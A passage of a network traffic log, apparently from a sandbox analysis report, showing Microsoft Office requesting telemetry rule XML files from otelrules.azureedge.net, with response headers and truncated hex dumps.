2024-12-07 17:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172712Z-r1cf579d778zvkpnhC1EWRv23g0000000340000000008655 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:13 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:13 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172713Z-r1cf579d778qgtz2hC1EWRmgks00000002x00000000008rv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:13 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:13 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:13 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172713Z-r1cf579d778g2t6ghC1EWRfggs00000002c0000000005f6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:13 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:13 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:14 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 67adf02b-201e-0085-1211-4834e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172714Z-r1cf579d778g2t6ghC1EWRfggs00000002fg0000000012tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:14 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:13 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:14 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172714Z-r1cf579d778v97q7hC1EWRf95c00000002fg000000008wqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:14 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:15 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:14 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172714Z-r1cf579d778lntp7hC1EWR9gg400000002f0000000002bwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:15 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172715Z-r1cf579d7789trgthC1EWRkkfc00000003kg0000000081wd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:15 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172715Z-r1cf579d778x776bhC1EWRdk8000000002z00000000052w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:16 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172716Z-r1cf579d778xq4f9hC1EWRx41g00000002x0000000000hak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:16 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:16 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172716Z-r1cf579d778t5c2lhC1EWRce3w00000003ng0000000053c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:16 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:17 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172717Z-r1cf579d778qgtz2hC1EWRmgks00000002tg000000004g25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:17 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:17 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172718Z-r1cf579d778lntp7hC1EWR9gg400000002eg0000000039ks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" 